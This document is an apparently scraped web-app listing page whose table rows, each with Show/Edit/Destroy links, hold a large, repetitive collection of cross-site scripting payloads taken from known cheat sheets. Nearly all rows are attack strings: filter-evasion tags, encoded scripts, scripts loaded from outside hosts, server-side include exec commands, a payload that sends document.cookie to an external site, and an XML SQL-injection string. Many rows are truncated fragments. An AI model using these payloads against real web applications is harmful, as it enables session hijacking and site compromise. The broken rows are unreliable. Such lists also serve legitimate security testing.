| <html><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>document.vulnerable=true</SCRIPT>"></BODY></html> |
Show |
Edit |
Destroy |
| <? echo('<SCR)';echo('IPT>document.vulnerable=true</SCRIPT>'); ?> |
Show |
Edit |
Destroy |
| <meta HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>"> |
Show |
Edit |
Destroy |
| <head><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD> ADw-SCRIPT AD4-document.vulnerable=true; ADw-/SCRIPT AD4- |
Show |
Edit |
Destroy |
| <div onmouseover="document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <a href="javascript#document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <img src="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <img dynsrc="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <bgsound src="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <input type="image" dynsrc="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <link rel="stylesheet" href="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <img src= |
Show |
Edit |
Destroy |
| <iframe src="vbscript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <img src="livescript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <img src="mocha:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <a href="about:<script>document.vulnerable=true;</script>"> |
Show |
Edit |
Destroy |
| <meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <body onload="document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <div style="binding: url([link to code]);"> |
Show |
Edit |
Destroy |
| <div style="background-image: url(javascript:document.vulnerable=true;);"> |
Show |
Edit |
Destroy |
| <div style="behaviour: url([link to code]);"> |
Show |
Edit |
Destroy |
| <div style="width: expression(document.vulnerable=true;);"> |
Show |
Edit |
Destroy |
| <style type="text/javascript">document.vulnerable=true;</style> |
Show |
Edit |
Destroy |
| <style><!--</style><script>document.vulnerable=true;//--></script> |
Show |
Edit |
Destroy |
| <object classid="clsid:..." codebase="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <![<!--]]<script>document.vulnerable=true;//--></script> |
Show |
Edit |
Destroy |
| <!-- -- --><script>document.vulnerable=true;</script><!-- -- --> |
Show |
Edit |
Destroy |
| <<script>document.vulnerable=true;</script> |
Show |
Edit |
Destroy |
| <img src="blah"onmouseover="document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <img src="blah>" onmouseover="document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <div datafld="b" dataformatas="html" datasrc="#X"></div> |
Show |
Edit |
Destroy |
| <xml src="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <xml id="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml> |
Show |
Edit |
Destroy |
| [\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script> |
Show |
Edit |
Destroy |
| <style>@import'http://www.securitycompass.com/xss.css';</style> |
Show |
Edit |
Destroy |
| <meta HTTP-EQUIV="Link" Content="<http://www.securitycompass.com/xss.css>; REL=stylesheet"> |
Show |
Edit |
Destroy |
| <OBJECT TYPE="text/x-scriptlet" DATA="http://www.securitycompass.com/scriptlet.html"></object> |
Show |
Edit |
Destroy |
| <style>BODY{-moz-binding:url("http://www.securitycompass.com/xssmoz.xml#xss")}</style> |
Show |
Edit |
Destroy |
| <HTML xmlns:xss><?import namespace="xss" implementation="http://www.securitycompass.com/xss.htc"><xss:xss>XSS</xss:xss></html> |
Show |
Edit |
Destroy |
| <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://www.securitycompass.com/xss.js></SCRIPT>'"--> |
Show |
Edit |
Destroy |
| <script SRC="http://www.securitycompass.com/xss.jpg"></script> |
Show |
Edit |
Destroy |
| <script a=">" SRC="http://www.securitycompass.com/xss.js"></script> |
Show |
Edit |
Destroy |
| <script "a='>'" SRC="http://www.securitycompass.com/xss.js"></script> |
Show |
Edit |
Destroy |
| <script a=">" '' SRC="http://www.securitycompass.com/xss.js"></script> |
Show |
Edit |
Destroy |
| <script a=">'>" SRC="http://www.securitycompass.com/xss.js"></script> |
Show |
Edit |
Destroy |
| <script =">" SRC="http://www.securitycompass.com/xss.js"></script> |
Show |
Edit |
Destroy |
| <script a=`>` SRC="http://www.securitycompass.com/xss.js"></script> |
Show |
Edit |
Destroy |
| <div style="binding: url(http://www.securitycompass.com/xss.js);"> [Mozilla] |
Show |
Edit |
Destroy |
| <script>document.write("<SCRI");</SCRIPT>PT SRC="http://www.securitycompass.com/xss.js"></script> |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| perl -e |
Show |
Edit |
Destroy |
| <~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))> |
Show |
Edit |
Destroy |
| perl -e |
Show |
Edit |
Destroy |
| <~/XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com/?sid="+document.cookie)> |
Show |
Edit |
Destroy |
| <~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))> |
Show |
Edit |
Destroy |
| <~/XSS STYLE=xss:expression(alert('XSS'))> |
Show |
Edit |
Destroy |
| "><script>alert('XSS')</script> |
Show |
Edit |
Destroy |
| </XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))> |
Show |
Edit |
Destroy |
| XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))> |
Show |
Edit |
Destroy |
| XSS STYLE=xss:e/**/xpression(alert('XSS'))> |
Show |
Edit |
Destroy |
| </XSS STYLE=xss:expression(alert('XSS'))> |
Show |
Edit |
Destroy |
| <;SCRIPT>;alert(';XSS';)<;/SCRIPT>; |
Show |
Edit |
Destroy |
| ';;alert(String.fromCharCode(88,83,83))//\';;alert(String.fromCharCode(88,83,83))//";;alert(String.fromCharCode(88,83,83))//\";;alert(String.fromCharCode(88,83,83))//-->;<;/SCRIPT>;";>;';>;<;SCRIPT>;alert(String.fromCharCode(88,83,83))<;/SCRIPT>; |
Show |
Edit |
Destroy |
| <;SCRIPT SRC=http://ha.ckers.org/xss.js>;<;/SCRIPT>; |
Show |
Edit |
Destroy |
| ';';;!--";<;XSS>;= |
Show |
Edit |
Destroy |
| <;BASE HREF=";javascript:alert(';XSS';);//";>; |
Show |
Edit |
Destroy |
| <;BGSOUND SRC=";javascript:alert(';XSS';);";>; |
Show |
Edit |
Destroy |
| <;SCRIPT>;alert(String.fromCharCode(88,83,83))<;/SCRIPT>; |
Show |
Edit |
Destroy |
| <;BODY BACKGROUND=";javascript:alert(';XSS';);";>; |
Show |
Edit |
Destroy |
| <;DIV STYLE=";background-image: url(javascript:alert(';XSS';))";>; |
Show |
Edit |
Destroy |
| <;BODY ONLOAD=alert(';XSS';)>; |
Show |
Edit |
Destroy |
| <;DIV STYLE=";background-image: url( |
Show |
Edit |
Destroy |
| <;FRAMESET>;<;FRAME SRC=";javascript:alert(';XSS';);";>;<;/FRAMESET>; |
Show |
Edit |
Destroy |
| <;DIV STYLE=";width: expression(alert(';XSS';));";>; |
Show |
Edit |
Destroy |
| <;IFRAME SRC=";javascript:alert(';XSS';);";>;<;/IFRAME>; |
Show |
Edit |
Destroy |
| <;INPUT TYPE=";IMAGE"; SRC=";javascript:alert(';XSS';);";>; |
Show |
Edit |
Destroy |
| <;IMG DYNSRC=";javascript:alert(';XSS';);";>; |
Show |
Edit |
Destroy |
| <;IMG SRC=javascript:alert(';XSS';)>; |
Show |
Edit |
Destroy |
| <;IMG SRC=";javascript:alert(';XSS';);";>; |
Show |
Edit |
Destroy |
| <;IMG LOWSRC=";javascript:alert(';XSS';);";>; |
Show |
Edit |
Destroy |
| <;IMG SRC=";http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode";>; |
Show |
Edit |
Destroy |
| exp/*<;XSS STYLE=';no\xss:noxss(";*//*";); |
Show |
Edit |
Destroy |
| Redirect 302 /a.jpg http://victimsite.com/admin.asp |
Show |
Edit |
Destroy |
| <;STYLE>;li {list-style-image: url(";javascript:alert( |
Show |
Edit |
Destroy |
| <;IMG SRC=';vbscript:msgbox(";XSS";)';>; |
Show |
Edit |
Destroy |
| <;LAYER SRC=";http://ha.ckers.org/scriptlet.html";>;<;/LAYER>; |
Show |
Edit |
Destroy |
| <;IMG SRC=";livescript:[code]";>; |
Show |
Edit |
Destroy |
| <;META HTTP-EQUIV=";refresh"; CONTENT=";0;url=javascript:alert(';XSS';);";>; |
Show |
Edit |
Destroy |
| <;META HTTP-EQUIV=";refresh"; CONTENT=";0; URL=http://;URL=javascript:alert(';XSS';);";>; |
Show |
Edit |
Destroy |
| <;META HTTP-EQUIV=";refresh"; CONTENT=";0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K";>; |
Show |
Edit |
Destroy |
| <;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389>;<;param name=url value=javascript:alert(';XSS';)>;<;/OBJECT>; |
Show |
Edit |
Destroy |
| <;OBJECT TYPE=";text/x-scriptlet"; DATA=";http://ha.ckers.org/scriptlet.html";>;<;/OBJECT>; |
Show |
Edit |
Destroy |
| <;IMG SRC=";mocha:[code]";>; |
Show |
Edit |
Destroy |
| a=";get";; |
Show |
Edit |
Destroy |
| <;STYLE TYPE=";text/javascript";>;alert(';XSS';);<;/STYLE>; |
Show |
Edit |
Destroy |
| <;EMBED SRC=";http://ha.ckers.org/xss.swf"; AllowScriptAccess=";always";>;<;/EMBED>; |
Show |
Edit |
Destroy |
| <;XSS STYLE=";xss:expression(alert(';XSS';))";>; |
Show |
Edit |
Destroy |
| <;STYLE>;.XSS{background-image:url(";javascript:alert(';XSS';)";);}<;/STYLE>;<;A CLASS=XSS>;<;/A>; |
Show |
Edit |
Destroy |
| <;IMG STYLE=";xss:expr/*XSS*/ession(alert(';XSS';))";>; |
Show |
Edit |
Destroy |
| <;LINK REL=";stylesheet"; HREF=";http://ha.ckers.org/xss.css";>; |
Show |
Edit |
Destroy |
| <;LINK REL=";stylesheet"; HREF=";javascript:alert(';XSS';);";>; |
Show |
Edit |
Destroy |
| <;STYLE type=";text/css";>;BODY{background:url(";javascript:alert(';XSS';)";)}<;/STYLE>; |
Show |
Edit |
Destroy |
| <;META HTTP-EQUIV=";Link"; Content=";<;http://ha.ckers.org/xss.css>;; REL=stylesheet";>; |
Show |
Edit |
Destroy |
| <;STYLE>;@import';http://ha.ckers.org/xss.css';;<;/STYLE>; |
Show |
Edit |
Destroy |
| <;STYLE>;BODY{-moz-binding:url(";http://ha.ckers.org/xssmoz.xml#xss";)}<;/STYLE>; |
Show |
Edit |
Destroy |
| <;TABLE>;<;TD BACKGROUND=";javascript:alert(';XSS';)";>;<;/TD>;<;/TABLE>; |
Show |
Edit |
Destroy |
| <;HTML xmlns:xss>; |
Show |
Edit |
Destroy |
| <;TABLE BACKGROUND=";javascript:alert(';XSS';)";>;<;/TABLE>; |
Show |
Edit |
Destroy |
| <;XML ID=";xss";>;<;I>;<;B>;<;IMG SRC=";javas<;!-- -->;cript:alert(';XSS';)";>;<;/B>;<;/I>;<;/XML>; |
Show |
Edit |
Destroy |
| <;XML SRC=";http://ha.ckers.org/xsstest.xml"; ID=I>;<;/XML>; |
Show |
Edit |
Destroy |
| <;XML ID=I>;<;X>;<;C>;<;![CDATA[<;IMG SRC=";javas]]>;<;![CDATA[cript:alert(';XSS';);";>;]]>; |
Show |
Edit |
Destroy |
| <;!--[if gte IE 4]>; |
Show |
Edit |
Destroy |
| <;META HTTP-EQUIV=";Set-Cookie"; Content=";USERID=<;SCRIPT>;alert(';XSS';)<;/SCRIPT>;";>; |
Show |
Edit |
Destroy |
| <;HTML>;<;BODY>; |
Show |
Edit |
Destroy |
| <;!--#exec cmd=";/bin/echo ';<;SCRIPT SRC';";-->;<;!--#exec cmd=";/bin/echo ';=http://ha.ckers.org/xss.js>;<;/SCRIPT>;';";-->; |
Show |
Edit |
Destroy |
| <;XSS STYLE=";behavior: url(http://ha.ckers.org/xss.htc);";>; |
Show |
Edit |
Destroy |
| <;SCRIPT SRC=";http://ha.ckers.org/xss.jpg";>;<;/SCRIPT>; |
Show |
Edit |
Destroy |
| <;BR SIZE="; |
Show |
Edit |
Destroy |
| <;? echo(';<;SCR)';; |
Show |
Edit |
Destroy |
| <;IMG SRC=JaVaScRiPt:alert(';XSS';)>; |
Show |
Edit |
Destroy |
| <;IMG SRC=`javascript:alert(";RSnake says, ';XSS';";)`>; |
Show |
Edit |
Destroy |
| <;IMG SRC=javascript:alert( |
Show |
Edit |
Destroy |
| <;IMG RC= |
Show |
Edit |
Destroy |
| <;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>; |
Show |
Edit |
Destroy |
| <;IMG RC= |
Show |
Edit |
Destroy |
| <;DIV STYLE=";background-image:\0075\0072\006C\0028';\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.10530053\0027\0029';\0029";>; |
Show |
Edit |
Destroy |
| <;IMG SRC= |
Show |
Edit |
Destroy |
| <;HEAD>;<;META HTTP-EQUIV=";CONTENT-TYPE"; CONTENT=";text/html; charset=UTF-7";>; <;/HEAD>; ADw-SCRIPT AD4-alert(';XSS';); ADw-/SCRIPT AD4- |
Show |
Edit |
Destroy |
| \";;alert(';XSS';);// |
Show |
Edit |
Destroy |
| <;/TITLE>;<;SCRIPT>;alert("XSS");<;/SCRIPT>; |
Show |
Edit |
Destroy |
| <;STYLE>;@im\port';\ja\vasc\ript:alert(";XSS";)';;<;/STYLE>; |
Show |
Edit |
Destroy |
| <;IMG SRC=";jav |
Show |
Edit |
Destroy |
| <;IMG SRC=";jav |
Show |
Edit |
Destroy |
| <;IMG SRC=";jav |
Show |
Edit |
Destroy |
| <;IMG |
Show |
Edit |
Destroy |
| <;IMG SRC=";jav |
Show |
Edit |
Destroy |
| perl -e ';print ";<;IM SRC=java\0script:alert(";XSS";)>";;';>; out |
Show |
Edit |
Destroy |
| <;IMG SRC="; |
Show |
Edit |
Destroy |
| perl -e ';print "; |
Show |
Edit |
Destroy |
| <;SCRIPT/XSS SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>; |
Show |
Edit |
Destroy |
| <;SCRIPT SRC=//ha.ckers.org/.j>; |
Show |
Edit |
Destroy |
| <;SCRIPT SRC=http://ha.ckers.org/xss.js |
Show |
Edit |
Destroy |
| <;IMG SRC=";javascript:alert(';XSS';)"; |
Show |
Edit |
Destroy |
| <;IFRAME SRC=http://ha.ckers.org/scriptlet.html <; |
Show |
Edit |
Destroy |
| <;<;SCRIPT>;alert(";XSS";);//<;<;/SCRIPT>; |
Show |
Edit |
Destroy |
| yaxshimas |
Show |
Edit |
Destroy |
| <;IMG ";";";>;<;SCRIPT>;alert(";XSS";)<;/SCRIPT>;";>; |
Show |
Edit |
Destroy |
| <;SCRIPT a=";>;"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>; |
Show |
Edit |
Destroy |
| <;SCRIPT =";blah"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>; |
Show |
Edit |
Destroy |
| <;SCRIPT ";a=';>;';"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>; |
Show |
Edit |
Destroy |
| <;SCRIPT a=";blah"; ';'; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>; |
Show |
Edit |
Destroy |
| <;SCRIPT>;document.write(";<;SCRI";);<;/SCRIPT>;PT SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>; |
Show |
Edit |
Destroy |
| <;SCRIPT a=";>';>"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>; |
Show |
Edit |
Destroy |
| <;A HREF=";http://66.102.7.147/";>;XSS<;/A>; |
Show |
Edit |
Destroy |
| <;SCRIPT a=`>;` SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>; |
Show |
Edit |
Destroy |
| <;A HREF=";http://www.google.com";>;XSS<;/A>; |
Show |
Edit |
Destroy |
| <;A HREF=";http://1113982867/";>;XSS<;/A>; |
Show |
Edit |
Destroy |
| <;A HREF=";http://0x42.0x0000066.0x7.0x93/";>;XSS<;/A>; |
Show |
Edit |
Destroy |
| <;A HREF=";//www.google.com/";>;XSS<;/A>; |
Show |
Edit |
Destroy |
| <;A HREF=";//google";>;XSS<;/A>; |
Show |
Edit |
Destroy |
| <;A HREF=";http://0102.0146.0007.00000223/";>;XSS<;/A>; |
Show |
Edit |
Destroy |
| <;A HREF=";http://google:ha.ckers.org";>;XSS<;/A>; |
Show |
Edit |
Destroy |
| <;A HREF=";h |
Show |
Edit |
Destroy |
| <;A HREF=";http://google.com/";>;XSS<;/A>; |
Show |
Edit |
Destroy |
| <;A HREF=";http://ha.ckers.org@google";>;XSS<;/A>; |
Show |
Edit |
Destroy |
| <;A HREF=";http://www.gohttp://www.google.com/ogle.com/";>;XSS<;/A>; |
Show |
Edit |
Destroy |
| <;A HREF=";http://www.google.com./";>;XSS<;/A>; |
Show |
Edit |
Destroy |
| <;A HREF=";javascript:document.location=';http://www.google.com/';";>;XSS<;/A>; |
Show |
Edit |
Destroy |
| <img SRC="jav ascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <script>document.vulnerable=true;</script> |
Show |
Edit |
Destroy |
| <img SRC=" |
Show |
Edit |
Destroy |
| <img SRC="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <<SCRIPT>document.vulnerable=true;//<</SCRIPT> |
Show |
Edit |
Destroy |
| <script <B>document.vulnerable=true;</script> |
Show |
Edit |
Destroy |
| <img SRC="javascript:document.vulnerable=true;" |
Show |
Edit |
Destroy |
| <iframe src="javascript:document.vulnerable=true; < |
Show |
Edit |
Destroy |
| <script>a=/XSS/\ndocument.vulnerable=true;</script> |
Show |
Edit |
Destroy |
| \";document.vulnerable=true;;// |
Show |
Edit |
Destroy |
| </title><SCRIPT>document.vulnerable=true;</script> |
Show |
Edit |
Destroy |
| <input TYPE="IMAGE" SRC="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <body ONLOAD=document.vulnerable=true;> |
Show |
Edit |
Destroy |
| <body BACKGROUND="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <img LOWSRC="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <img DYNSRC="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <br SIZE=" |
Show |
Edit |
Destroy |
| <bgsound SRC="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <LAYER SRC="javascript:document.vulnerable=true;"></LAYER> |
Show |
Edit |
Destroy |
| <link REL="stylesheet" HREF="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <style>li {list-style-image: url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS |
Show |
Edit |
Destroy |
| 1script3document.vulnerable=true;1/script3 |
Show |
Edit |
Destroy |
| <img SRC='vbscript:document.vulnerable=true;'> |
Show |
Edit |
Destroy |
| <meta HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <IFRAME SRC="javascript:document.vulnerable=true;"></iframe> |
Show |
Edit |
Destroy |
| <meta HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <table BACKGROUND="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></frameset> |
Show |
Edit |
Destroy |
| <table><TD BACKGROUND="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <div STYLE="background-image: url(javascript:document.vulnerable=true;)"> |
Show |
Edit |
Destroy |
| <div STYLE="background-image: url( |
Show |
Edit |
Destroy |
| <div STYLE="width: expression(document.vulnerable=true);"> |
Show |
Edit |
Destroy |
| <style>@im\port'\ja\vasc\ript:document.vulnerable=true';</style> |
Show |
Edit |
Destroy |
| <img STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)"> |
Show |
Edit |
Destroy |
| exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'> |
Show |
Edit |
Destroy |
| <XSS STYLE="xss:expression(document.vulnerable=true)"> |
Show |
Edit |
Destroy |
| <style>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><A CLASS=XSS></a> |
Show |
Edit |
Destroy |
| <style TYPE="text/javascript">document.vulnerable=true;</style> |
Show |
Edit |
Destroy |
| <style type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</style> |
Show |
Edit |
Destroy |
| <base HREF="javascript:document.vulnerable=true;//"> |
Show |
Edit |
Destroy |
| <!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]--> |
Show |
Edit |
Destroy |
| <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></object> |
Show |
Edit |
Destroy |
| <XML ID=I><X><C><![<IMG SRC="javas]]<![cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></span> |
Show |
Edit |
Destroy |
| <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></span> |
Show |
Edit |
Destroy |
| <html><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>document.vulnerable=true</SCRIPT>"></BODY></html> |
Show |
Edit |
Destroy |
| <? echo('<SCR)';echo('IPT>document.vulnerable=true</SCRIPT>'); ?> |
Show |
Edit |
Destroy |
| <meta HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>"> |
Show |
Edit |
Destroy |
| <a href="javascript#document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <head><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD> ADw-SCRIPT AD4-document.vulnerable=true; ADw-/SCRIPT AD4- |
Show |
Edit |
Destroy |
| <img src="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <div onmouseover="document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <img dynsrc="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <input type="image" dynsrc="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
|
Show |
Edit |
Destroy |
| <bgsound src="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <img src= |
Show |
Edit |
Destroy |
| <link rel="stylesheet" href="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <img src="mocha:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <iframe src="vbscript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <img src="livescript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <a href="about:<script>document.vulnerable=true;</script>"> |
Show |
Edit |
Destroy |
| <meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <body onload="document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <div style="background-image: url(javascript:document.vulnerable=true;);"> |
Show |
Edit |
Destroy |
| <div style="behaviour: url([link to code]);"> |
Show |
Edit |
Destroy |
| <div style="binding: url([link to code]);"> |
Show |
Edit |
Destroy |
| <div style="width: expression(document.vulnerable=true;);"> |
Show |
Edit |
Destroy |
| <object classid="clsid:..." codebase="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <style type="text/javascript">document.vulnerable=true;</style> |
Show |
Edit |
Destroy |
| <<script>document.vulnerable=true;</script> |
Show |
Edit |
Destroy |
| <style><!--</style><script>document.vulnerable=true;//--></script> |
Show |
Edit |
Destroy |
| <!-- -- --><script>document.vulnerable=true;</script><!-- -- --> |
Show |
Edit |
Destroy |
| <![<!--]]<script>document.vulnerable=true;//--></script> |
Show |
Edit |
Destroy |
| <img src="blah"onmouseover="document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <xml src="javascript:document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <img src="blah>" onmouseover="document.vulnerable=true;"> |
Show |
Edit |
Destroy |
| <div datafld="b" dataformatas="html" datasrc="#X"></div> |
Show |
Edit |
Destroy |
| [\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script> |
Show |
Edit |
Destroy |
| <xml id="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml> |
Show |
Edit |
Destroy |
| <meta HTTP-EQUIV="Link" Content="<http://www.securitycompass.com/xss.css>; REL=stylesheet"> |
Show |
Edit |
Destroy |
| <style>BODY{-moz-binding:url("http://www.securitycompass.com/xssmoz.xml#xss")}</style> |
Show |
Edit |
Destroy |
| <style>@import'http://www.securitycompass.com/xss.css';</style> |
Show |
Edit |
Destroy |
| <HTML xmlns:xss><?import namespace="xss" implementation="http://www.securitycompass.com/xss.htc"><xss:xss>XSS</xss:xss></html> |
Show |
Edit |
Destroy |
| <OBJECT TYPE="text/x-scriptlet" DATA="http://www.securitycompass.com/scriptlet.html"></object> |
Show |
Edit |
Destroy |
| <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://www.securitycompass.com/xss.js></SCRIPT>'"--> |
Show |
Edit |
Destroy |
| <script SRC="http://www.securitycompass.com/xss.jpg"></script> |
Show |
Edit |
Destroy |
| <script a=">" SRC="http://www.securitycompass.com/xss.js"></script> |
Show |
Edit |
Destroy |
| <script =">" SRC="http://www.securitycompass.com/xss.js"></script> |
Show |
Edit |
Destroy |
| <script a=">" '' SRC="http://www.securitycompass.com/xss.js"></script> |
Show |
Edit |
Destroy |
| <script a=`>` SRC="http://www.securitycompass.com/xss.js"></script> |
Show |
Edit |
Destroy |
| <script "a='>'" SRC="http://www.securitycompass.com/xss.js"></script> |
Show |
Edit |
Destroy |
| <script>document.write("<SCRI");</SCRIPT>PT SRC="http://www.securitycompass.com/xss.js"></script> |
Show |
Edit |
Destroy |
| <div style="binding: url(http://www.securitycompass.com/xss.js);"> [Mozilla] |
Show |
Edit |
Destroy |
| <;/script>;<;script>;alert(1)<;/script>; |
Show |
Edit |
Destroy |
| <script a=">'>" SRC="http://www.securitycompass.com/xss.js"></script> |
Show |
Edit |
Destroy |
| <;/br style=a:expression(alert())>; |
Show |
Edit |
Destroy |
| <;scrscriptipt>;alert(1)<;/scrscriptipt>; |
Show |
Edit |
Destroy |
| perl -e |
Show |
Edit |
Destroy |
| perl -e |
Show |
Edit |
Destroy |
| <~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))> |
Show |
Edit |
Destroy |
| <;br size=\"; |
Show |
Edit |
Destroy |
| <~/XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com/?sid="+document.cookie)> |
Show |
Edit |
Destroy |
| <~/XSS STYLE=xss:expression(alert('XSS'))> |
Show |
Edit |
Destroy |
| </XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))> |
Show |
Edit |
Destroy |
| "><script>alert('XSS')</script> |
Show |
Edit |
Destroy |
| <~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))> |
Show |
Edit |
Destroy |
| XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))> |
Show |
Edit |
Destroy |
| "><STYLE>@import"javascript:alert('XSS')";</STYLE> |
Show |
Edit |
Destroy |
| qotaq |
Show |
Edit |
Destroy |
| XSS STYLE=xss:e/**/xpression(alert('XSS'))> |
Show |
Edit |
Destroy |
| </XSS STYLE=xss:expression(alert('XSS'))> |
Show |
Edit |
Destroy |
| >"'><img src="javascript:alert(' XSS')"> |
Show |
Edit |
Destroy |
| >"'><img src=javascript:alert(" XSS Test Successful")> |
Show |
Edit |
Destroy |
| '';!--"<XSS>= |
Show |
Edit |
Destroy |
| <IMG SRC=javascript:alert('XSS')> |
Show |
Edit |
Destroy |
| <IMG SRC="javascript:alert('XSS');"> |
Show |
Edit |
Destroy |
| <IMG SRC=JaVaScRiPt:alert('XSS')> |
Show |
Edit |
Destroy |
| <IMGSRC= |
Show |
Edit |
Destroy |
| <IMGSRC= |
Show |
Edit |
Destroy |
| <IMGSRC= |
Show |
Edit |
Destroy |
| <IMG SRC=JaVaScRiPt:alert( |
Show |
Edit |
Destroy |
| <IMG SRC="jav |
Show |
Edit |
Destroy |
| <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foof> |
Show |
Edit |
Destroy |
| <![CDATA[<script>alert(site hack from <><><>)</script>]]> |
Show |
Edit |
Destroy |
| <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo> |
Show |
Edit |
Destroy |
| <IMG SRC="jav |
Show |
Edit |
Destroy |
